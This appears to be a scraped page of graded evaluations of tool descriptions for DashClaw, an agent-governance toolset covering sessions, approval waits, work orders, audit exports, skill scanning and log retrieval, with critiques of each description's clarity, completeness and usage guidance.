With no annotations, the description carries full burden. It clearly states 'metadata only — no values' indicating read-only behavior and lists return fields. No contradictions.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, front-loaded sentence with no unnecessary words. Every part adds value.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple tool with one optional parameter and no output schema, the description is complete. It explains the action, what is returned, and the nature (metadata only).
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% and the parameter 'agent_id' is already described in the input schema. The description adds no additional meaning beyond the schema, so baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states it lists tracked secrets with metadata only, no values. It distinguishes from sibling secret tools like dashclaw_secret_due (due secrets) and dashclaw_secret_mark_rotated (rotate action).
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies usage for viewing metadata of all secrets but does not explicitly state when to use versus alternatives like dashclaw_secret_due or when not to use (e.g., if secret values are needed). No exclusions or guidance is provided.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_secret_mark_rotatedA
Mark a tracked secret as rotated (sets last_rotated_at = now). Agents only call this if the operator instructs; secret registration is an operator task.
| Name | Required | Description | Default |
|---|---|---|---|
| id | Yes | Secret id (sec_*) |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Without annotations, the description must disclose behavioral traits. It states the mutation effect (sets timestamp). For a simple operation, this is adequate, but it omits potential side effects like notifications or idempotency. Still, it covers the core behavior.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is extremely concise with two sentences. The first sentence states the purpose, and the second adds a usage constraint. No wasted words, front-loaded with key info.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple tool with one param and no output schema, the description covers purpose, usage guidelines, and effect. It is complete enough for an agent to understand when and how to invoke it correctly.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with a single param 'id' already described as 'Secret id (sec_*)'. The description adds no additional semantic meaning beyond what the schema provides. Baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the action ('mark as rotated') and the effect ('sets last_rotated_at = now'). It distinguishes from sibling secret tools by noting that registration is an operator task, implying this is specifically for rotation marking.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explicitly says 'Agents only call this if the operator instructs', providing clear guidance on when to use the tool. It also implies an alternative (operator handles registration), helping the agent decide not to use this for registration.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_session_endA
Close a DashClaw session and update its status. Call this when the task is complete or if the session needs to be marked as failed. Provides a clean lifecycle boundary for governance reporting in Mission Control.
| Name | Required | Description | Default |
|---|---|---|---|
| status | Yes | Final session status | |
| summary | No | Brief description of what was accomplished | |
| session_id | Yes | Session ID from dashclaw_session_start |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so description must cover behavioral traits. It mentions 'clean lifecycle boundary for governance reporting' which adds context about impact on governance. However, it does not detail side effects like what happens to associated data or whether the session is destroyed. The description is adequate but not comprehensive.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences: first states action, second gives usage guidance and context. Every sentence earns its place. No redundancy. Efficient and front-loaded.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Description covers purpose and usage, but lacks information about return values, error handling, idempotency, or validation of session state. Given no output schema, missing these behavioral details makes it incomplete for a mutation tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so description does not need to repeat parameter meanings. The description implies usage of 'session_id' and 'status' by saying 'close a session and update its status', but does not mention 'summary'. This adds minimal value beyond the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states the tool's purpose: 'Close a DashClaw session and update its status.' The verb 'close' and resource 'session' are specific. The tool name and description naturally distinguish it from sibling tool 'dashclaw_session_start' as its counterpart.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly states when to use: 'Call this when the task is complete or if the session needs to be marked as failed.' This provides clear context. However, it does not mention alternatives or when not to use it, such as if the session should remain open.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_session_startA
Register this agent session with DashClaw. Creates a session record that groups all subsequent actions for tracking and observability. Call this at the beginning of a task to establish a governance boundary.
| Name | Required | Description | Default |
|---|---|---|---|
| branch | No | Git branch or task branch | |
| agent_id | Yes | Agent identifier (required) | |
| workspace | No | Workspace or project context |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description carries the full burden of transparency. It reveals the behavioral trait of grouping subsequent actions for tracking and observability, but it does not disclose potential side effects, idempotency, or prerequisites like authentication. More details would improve transparency.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is three concise sentences, each adding value: first states the action, second explains the purpose, third gives the usage context. It is front-loaded and contains no redundant information.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple registration tool with no output schema, the description covers the basic purpose and usage. However, it lacks details about what the session record contains, how the session ID is returned, and error handling, leaving some gaps in completeness.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The input schema has 100% parameter description coverage, so the baseline is 3. The description does not add any additional meaning to the parameters (agent_id, branch, workspace) beyond what the schema already provides.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's function: 'Register this agent session with DashClaw' and explains it creates a session record for tracking and observability. It distinguishes itself from siblings like dashclaw_session_end by specifying it should be called at the beginning of a task.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explicitly says to call this tool at the beginning of a task, establishing a governance boundary. While it doesn't mention when not to use it, the context of session start is unambiguous given the sibling dashclaw_session_end for closing.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_skill_scanA
Run a static safety scan against the contents of an untrusted skill before loading it. Returns findings (severity, file, line) and a passed boolean. If passed=false, do NOT load the skill — show the findings to the operator.
| Name | Required | Description | Default |
|---|---|---|---|
| files | Yes | Map of filename -> file content (string) | |
| skill_name | Yes |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description carries the full burden. It describes the tool as a static scan returning findings and a passed boolean. It does not explicitly state whether it has side effects (though the name implies read-only), nor does it mention authorization or rate limits. The behavioral description is adequate but not comprehensive.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is two sentences that are front-loaded with the action and immediate guidance. Every sentence adds value: the first states the action and inputs, the second explains output and post-condition. No wasted words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's simplicity (2 parameters, no output schema), the description covers purpose, output fields (findings with severity/file/line, passed boolean), and required action. It does not detail findings structure further, but that is acceptable for a scan tool. Slightly more detail on return formatting would improve it.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 50% (only 'files' has a description). The description adds minimal semantic value by referring to 'contents of an untrusted skill', linking both parameters together. However, it does not clarify the expected format of 'skill_name' or expand on 'files' beyond the schema's own description. It partially compensates but falls short.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose: 'Run a static safety scan against the contents of an untrusted skill before loading it.' It identifies the verb (scan), resource (skill contents), and context (before loading). This distinguishes it from sibling tools, none of which perform a safety scan.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explicitly states when to use the tool ('before loading it') and provides actionable guidance: 'If passed=false, do NOT load the skill — show the findings to the operator.' It does not mention alternatives, but the use case is specific and no obvious alternative exists among siblings.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_statusDashClaw statusA
Check DashClaw authoritative gate configuration and reachability.
| Name | Required | Description | Default |
|---|---|---|---|
No parameters | |||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Description indicates a read-only check ('Check'), but with no annotations, it does not disclose additional behavioral traits like permissions, side effects, or return format. For a simple status tool, this is adequate but not exceptional.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence with 8 words, no wasted text. Front-loaded with verb and resource.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's simplicity (no parameters, no output schema, no annotations), the description is complete enough to convey its purpose.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The input schema has no parameters, so description adds no param info. According to rules, 0 parameters baseline is 4.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the verb 'Check' and the resource 'DashClaw authoritative gate configuration and reachability.' It is specific and distinguishes this tool from siblings like dashclaw_guard or dashclaw_posture.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No explicit guidance on when to use this tool versus alternatives among the many dashclaw tools. It implies usage for checking gate status, but lacks when-not-to-use or comparisons.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_wait_for_approvalA
Wait for a human to approve or deny a pending action in DashClaw Mission Control. Call this after a guard decision returns "require_approval" or after recording an action with status "pending_approval". Polls the action status until it changes. Default timeout is 300 seconds (5 minutes).
| Name | Required | Description | Default |
|---|---|---|---|
| action_id | Yes | The action ID to wait on (e.g., act_abc123) | |
| timeout_seconds | No | Max wait time (default 300) | |
| poll_interval_seconds | No | Polling frequency (default 3) |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so description carries full burden. It explains polling behavior, default timeout (300 seconds), and that it waits until status changes. It does not disclose whether the action is interruptible or what happens on timeout, but overall fairly transparent.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences with clear front-loading of purpose. Every sentence adds value—no fluff. Highly concise.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
No output schema exists, but description fails to mention what the tool returns (e.g., status after approval/denial). It covers usage context and behavior well but omits return value information.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with descriptions for all three parameters. The description adds minimal extra meaning beyond the schema: it reiterates default timeout and mentions polling context. Baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states the tool waits for human approval/denial of a pending action. It specifies when to invoke: after guard decision returns 'require_approval' or after recording an action with 'pending_approval' status. This distinguishes it from sibling tools like approve_action and reject_action.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly tells when to use the tool (after guard decision or pending approval). It provides a clear context but does not explicitly state when not to use, though the purpose is well-defined.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_work_order_statusA
Check a DashClaw work order: current lifecycle status, worker, guard decision, and — once terminal — the self-verifying receipt (cost, output hash, governance trail).
| Name | Required | Description | Default |
|---|---|---|---|
| work_order_id | Yes | The wo_* id returned at submission |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so description carries full burden. It discloses the non-destructive read nature and lists what is returned. However, it does not mention error conditions, permissions, or side effects (likely none).
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence with no wasted words. Front-loaded with the core action 'Check a DashClaw work order' followed by concise enumeration of outputs.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's simplicity (one parameter, no output schema, no annotations), the description covers the main outputs adequately. It could benefit from noting the read-only nature or mentioning error scenarios, but overall it is complete enough.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100% with a clear description for the single parameter work_order_id. The main description adds no additional meaning beyond the schema, so baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states the tool checks a DashClaw work order and lists specific outputs: lifecycle status, worker, guard decision, and self-verifying receipt. Verb 'Check' and resource 'DashClaw work order' are specific, and it distinguishes from siblings like dashclaw_work_order_submit (submit) and dashclaw_status (general status).
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Description implies usage after submission ('once terminal') but does not explicitly state when to use versus alternatives like dashclaw_status. No exclusions or contextual guidance beyond the basic purpose.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_work_order_submitA
Submit a DashClaw work order: a typed, budget-capped unit of agent work governed by policy. The order is validated against the registered contract for its type, guard-gated (may be blocked or parked for human approval), then queued for any worker to claim. Returns work_order_id + status + the guard decision.
| Name | Required | Description | Default |
|---|---|---|---|
| type | Yes | Registered work order type (e.g. 'research_brief') | |
| input | Yes | Input payload matching the contract input schema | |
| max_cost_usd | No | Budget ceiling in USD (falls back to the type default) | |
| timeout_seconds | No | Lease/SLA seconds (falls back to the type default) |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries full burden. It discloses that the tool validates, guard-gates, and queues the order, and returns work_order_id + status + guard decision. However, it does not explicitly state whether the submission creates a new resource (implied by 'queued'), or mention authorization requirements or idempotency. The lack of annotations and missing details on side effects limit transparency to a 3.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is three sentences, front-loading the core action and key behavioral notes (validation, guard, queuing). Every sentence adds value, with no redundancy or fluff. The structure is logical and efficient.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given 4 parameters (100% schema coverage) and no output schema, the description covers the submission process, return fields, and guard behavior. It does not explain what happens if parked (e.g., waiting for approval), but the mention of 'guard decision' and the existence of a related tool `dashclaw_wait_for_approval` mitigate this. The description is comprehensive for a submission tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, but the description adds value by explaining that `max_cost_usd` and `timeout_seconds` fall back to type defaults, and that `type` must be a registered work order type. This context goes beyond the schema descriptions, helping the agent understand parameter behavior. A 4 reflects strong addition without being exhaustive.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states 'Submit a DashClaw work order' with a specific verb and resource. It explains the nature (typed, budget-capped, governed by policy) and briefly outlines the submission process (validation, guard-gating, queuing). This distinguishes it from sibling tools like dashclaw_invoke or dashclaw_handoff_create, which have different purposes.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description mentions that the order is 'guard-gated (may be blocked or parked for human approval)' and validated, giving implicit guidance on when it might be blocked. However, it does not explicitly state when to use this tool versus alternatives (e.g., dashclaw_invoke for direct execution, or dashclaw_handoff_create for handoffs). A 3 reflects adequate but not explicit guidance.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
doctorDoctorA
Run local readiness checks: project/environment resolution, mappings, credential env vars, and audit writability. When DASHCLAW_URL and DASHCLAW_API_KEY are configured, the result also includes a read-only report.platform section fetched from the DashClaw platform's own /api/doctor endpoint.
| Name | Required | Description | Default |
|---|---|---|---|
| project | No | Project id or slug; uses selected if omitted | |
| environment | No | Environment id or name to focus on |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries the full burden. It discloses that the check is local and read-only (except for a fetched platform section), and specifies that the platform section is read-only. It does not mention side effects, but the tool appears safe.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is two efficient sentences. The first states the core purpose and lists checks; the second adds conditional behavior. No wasted words, essential information front-loaded.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no output schema and no annotations, the description provides a reasonable understanding of the tool's behavior. It explains what it checks, conditional results, and parameter roles. Missing output format details but sufficient for a diagnostic tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, and schema descriptions already explain the parameters clearly (project and environment). The description adds minimal extra meaning beyond implying they affect the checks. Baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly defines the tool as running local readiness checks and lists specific components checked (project/environment resolution, mappings, credential env vars, audit writability). It distinguishes itself from siblings, which are primarily dashclaw-related tools, by focusing on local diagnostics.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description provides clear context for when to use the tool (for readiness checks) and mentions conditional behavior when credentials are configured. However, it does not explicitly state when not to use it or offer alternatives, though the context is sufficient for an agent.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
explain_action_riskExplain action riskC
Dry-run local policy and DashClaw guard context for a provider action without executing it.
| Name | Required | Description | Default |
|---|---|---|---|
| live | No | ||
| tool | Yes | ||
| project | No | ||
| summary | Yes | ||
| provider | Yes | ||
| capability | Yes | ||
| environment | Yes | ||
| resourceLabel | No |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description bears the full burden. It states the tool does not execute the action, implying it is non-destructive, but does not disclose side effects, auth requirements, or what happens if policies fail. This is minimal transparency.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence, which is concise, but it omits critical details that could be added without excessive length. It achieves brevity at the expense of completeness.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given 8 parameters, no schema description coverage, no output schema, and a complex purpose (explaining risk), the description is vastly incomplete. It does not explain the return value, how to interpret results, or the meaning of 'local policy' and 'DashClaw guard context'.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 0%, yet the description does not explain any of the 8 parameters (e.g., 'live', 'tool', 'provider', 'capability', 'environment'). The agent receives no additional meaning beyond the JSON schema field names and types.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly indicates it is a dry-run that evaluates local policy and DashClaw guard context without executing the action. This distinguishes it from execution-oriented siblings like 'approve_action' or 'simulate_action', though 'local policy' and 'DashClaw guard context' are not further explained.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description provides no guidance on when to use this tool versus alternatives like 'check_policy' or 'simulate_action'. There is no mention of when to prefer it or when not to use it.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
export_audit_logExport audit logC
Export recent audit entries as jsonl, csv, or markdown.
| Name | Required | Description | Default |
|---|---|---|---|
| limit | No | ||
| format | Yes | ||
| project | No | ||
| provider | No | ||
| environment | No |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are present, and the description does not disclose behavioral traits such as whether it is read-only, requires authentication, or has rate limits. The verb 'export' implies reading data, but further details are missing.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence, which is concise but under-specified. It fails to convey necessary details about parameters and constraints, making it less useful despite its brevity.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
With 5 parameters, no output schema, and no parameter descriptions, the description is incomplete. It omits key information such as what 'recent' means, how to filter, and the structure of the output.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The schema coverage is 0%, so the description must compensate. It only mentions the format parameter (jsonl, csv, markdown) but does not explain limit, project, provider, or environment. Their semantics are left entirely to the schema, which lacks descriptions.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the action (export), the resource (audit entries), and the output formats (jsonl, csv, markdown). This distinguishes it from sibling tools like list_audit_log, which lists but does not export. However, the term 'recent' is vague and lacks specificity.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance is provided on when to use this tool over alternatives (e.g., list_audit_log). The description does not include any context about prerequisites, typical use cases, or when not to use it.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
export_contextExport context snapshotC
Export a versioned project context snapshot as JSON or Markdown.
| Name | Required | Description | Default |
|---|---|---|---|
| format | Yes | ||
| project | No | Project id or slug; uses selected if omitted | |
| environment | No | Environment id or name to focus on |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description must disclose behavioral traits but only says 'export' and 'snapshot'. It does not indicate if the operation is read-only, requires permissions, rate limits, or any side effects.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence with no verbosity; front-loaded with action and resource. Every word contributes.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
With no output schema, the description should explain return format or structure. It does not. Also, it fails to differentiate from similar tools like 'get_project_context'.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The description adds meaning for the 'format' parameter by stating output as JSON or Markdown, which partially compensates for the missing schema description on that parameter. However, it doesn't elaborate on 'project' or 'environment' parameters beyond their schema descriptions.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Clear verb ('export') and resource ('versioned project context snapshot'), with output format options specified. However, it does not explicitly distinguish from sibling tools like export_audit_log or export_dashclaw_evidence.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance on when to use this tool versus alternatives, nor conditions to avoid using it. The description lacks context for selection among sibling export tools.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
export_dashclaw_evidenceExport DashClaw evidenceC
Export local audit entries that include DashClaw guard/evidence metadata.
| Name | Required | Description | Default |
|---|---|---|---|
| limit | No | ||
| project | No | ||
| provider | No | ||
| environment | No |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description must disclose behavioral traits, but it only states the basic function. It does not specify if the operation is read-only, what permissions are needed, whether it modifies data, or any rate limits. Critical behavioral context is missing.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence that directly states the core function. It is concise but lacks structure (e.g., bullet points for parameters, usage notes). Every word is functional, but important information is omitted.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's complexity (4 parameters, no annotations, no output schema, 47 sibling tools), the description is far too minimal. It does not explain the output format, the meaning of 'local', parameter roles, or how this tool relates to similar siblings.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The input schema has 0% description coverage, so the description should compensate by explaining the parameters. It does not mention limit, project, provider, or environment at all, leaving the agent without semantic guidance for invoking the tool correctly.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the verb ('Export') and resource ('local audit entries that include DashClaw guard/evidence metadata'), distinguishing it from sibling tools like export_audit_log. However, the term 'local' is ambiguous and could be more precise.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance is provided on when to use this tool over alternatives (e.g., export_audit_log, dashclaw tools). The description lacks any when-to-use or when-not-to-use context, leaving the agent to infer usage.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
get_app_logsGet app logsA
Fetch application/deployment logs for a project environment from the mapped provider(s). If provider is given, reads that provider only; otherwise reads every mapped provider that supports logs (Vercel + Railway in V0, Vercel prioritized). Returns the resource used, time range, log lines, and any API limitation. Reads are allowed everywhere and are audited.
| Name | Required | Description | Default |
|---|---|---|---|
| limit | No | Max log lines (default 100) | |
| since | No | Only logs after this time (epoch ms or ISO timestamp) | |
| project | No | Project id or slug; uses selected if omitted | |
| provider | No | Restrict to one provider (e.g. 'vercel') | |
| environment | Yes | Environment id or name | |
| deployment_id | No | Specific deployment to read logs for |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description carries full burden. It discloses that reads are allowed everywhere and audited, and mentions API limitations. However, it doesn't address potential rate limiting, error cases, or the format of the 'API limitation' field, leaving some gaps.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is two sentences with no wasted words. It front-loads the core action and then provides essential details in a structured manner, making it easy for an AI agent to parse quickly.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given 6 parameters and no output schema, the description covers the return fields (resource, time range, log lines, API limitation) and default provider behavior. It lacks details on error handling or pagination, but is largely complete for a log-fetching tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so baseline is 3. The description adds context about the default provider behavior (Vercel prioritized) and the effect of omitting the 'project' parameter, but does not significantly expand on the schema descriptions.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
